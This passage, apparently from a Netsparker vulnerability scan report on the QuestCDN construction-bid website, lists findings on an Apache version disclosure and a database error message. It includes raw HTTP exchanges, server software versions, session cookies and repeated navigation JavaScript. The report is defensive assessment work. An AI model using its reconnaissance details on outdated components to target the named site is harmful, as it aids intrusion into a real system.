mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </T..
Apache Module Version Disclosure
Apache Module Version Disclosure
Netsparker identified that the target web server is disclosing one of the Apache modules version. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can look for specific security vulnerabilities for the identified Apache module version. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Request
GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Accept-Encoding: gzip, deflate,gzip, deflate
Host: www.questcdn.com
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:52 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/752384704271622620; Expires=Thu, 03-Mar-2011 23:35:52 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </T..
Database Error Message
Database Error Message
Netsparker identified a database error message.
Impact
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /questcdn/projects/MyProjects/my_projects.html
/questcdn/projects/MyProjects/my_projects.html
|
Request
GET /questcdn/projects/MyProjects/my_projects.html HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:35:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 28797
Content-Type: text/html;charset=utf-8
<!--$Header: planholder_list.html, 11/24/2009, Eric Nelsen$--><html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"/> <title>QuestCDN: My Projects</title> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/verdana.css" media="screen"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/sweetTitlescss/sweetTitles.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.css"/> <link rel="stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxToolbar/codebase/skins/dhtmlxtoolbar_dhx_skyblue.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/skin_qcdn.css"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/connector.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/sweetTitlesjs/sweetTitles.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_dhtmlxgrid.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_XHConn.js"></script><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
